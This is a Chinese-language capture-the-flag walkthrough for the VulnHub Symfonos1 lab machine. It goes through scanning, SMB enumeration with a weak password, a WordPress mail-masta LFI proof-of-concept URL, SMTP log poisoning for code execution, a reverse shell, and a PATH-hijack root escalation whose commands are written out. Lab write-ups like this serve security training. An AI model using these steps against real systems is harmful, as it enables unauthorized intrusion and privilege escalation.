- Symfonos1 下载地址:https://www.vulnhub.com/entry/symfonos-1,322/
Symfonos1 是 Symfonos 系列靶机的第一关。
目录
1、扫描
- Netdiscover
- Nmap
2、枚举
- SMB 共享目录
- WPScan
3、漏洞利用
- 利用 WordPress 的 LFI 漏洞
- 通过 SMTP 日志投毒使 LFI 漏洞来实现 RCE
4、提权
- 利用环境变量
PATH
Let's get it!
使用 netdiscover
命令来发现目标主机,这里靶机的 IP
是 192.168.166.201
- netdiscover -i eth0

使用 nmap
对靶机进行端口扫描,发现开放了以下端口:22
、25
、80
、139
、445

接着使用使用 enum4linux
对靶机进行网络枚举,发现靶机存在一个名为 helios
的用户,以及两个 Samba 共享目录 /anonymous
和 /helios

访问 Samba 共享目录:


先访问 /anonymous
目录,因为该目录无须输入密码即可访问:

查看 attention.txt
文件的内容:

上面提到几个弱密码,可用来尝试进入 /helios
目录,尝试后发现弱密码 qwerty
可进入 /helios
目录:

发现两个文件,research.txt
和 todo.txt
,查看其内容,发现 research.txt
没啥用,todo.txt
中提到了一个目录 /h3l105
,这也许是 Web站点的路径,我们可以尝试在 Web 中访问,于是访问 http://192.168.166.201/h3l105/
,发现是一个使用了 WordPress 搭建的站点:


对该站点使用 BurpSuite
抓包可以看到,网站前端向服务器发请求的时候,还会请求一个域名 symfonos.local
,其实该域名是就是指向靶机的 IP
,所以我们在攻击机的 /etc/hosts
文件中加上该域名的解析记录:

然后使用 WPScan
对其进行扫描,加上 -ep
参数,枚举以下该站点使用的 wordpress 插件:
- wpscan --url http://symfonos.local/h3l105/ -ep

发现使用了 mail-masta
和 site-editor
这两个插件,使用 searchsploit
搜索一下看有没有相应的 exp
:

可以看到 mail-masta
这个插件的 1.0
版本存在两个漏洞,这里我们利用 LFI
漏洞,将 40290.txt
下载下来:

查看该文件,可看到该漏洞的 PoC
为:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

可看到漏洞确实存在且可被利用:

因为前面端口扫描的时候,看到靶机还开放了 25
端口,该端口上运行的是 SMTP 邮件服务,所以下面我们通过 SMTP 日志投毒来使得 LFI 漏洞实现 RCE。
访问 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios 可看到 /var/mail/helios
文件,该邮件记录的是 helios
用户收到的邮件信息。
于是我们可以使用 telnet
通过命令行向 helios
用户发送邮件,在邮件中插入恶意的 php 代码:

发送后,通过访问 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&m=id 即可达到远程代码执行的效果

于是,用这种方式,使用 nc
命令,我们可以拿到一个反向 shell。
先监听本机 5555
端口:

得到反向 shell:

为了提权,我们先通过 find
命令寻找有 sticky
位的程序文件:
- find / -perm -u=s -type f 2>/dev/null

我们选择其中的 /opt/statuscheck
程序,该文件是一个二进制文件,因此我们使用 strings
命令查看它的元数据:

可以看到,该程序会去调用 curl
命令。因此我们可以通过自建一个 curl
命令,并通过临时配置环境变量 PATH
,使得当 /opt/statuscheck
程序执行的时候,调用我自建的 curl
命令,从而获得一个拥有 root 权限的 shell。
依次执行下面的命令:
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck

这种提权的方式,可阅读 Linux Privilege Escalation Using PATH Variable
Hacking done.

网友评论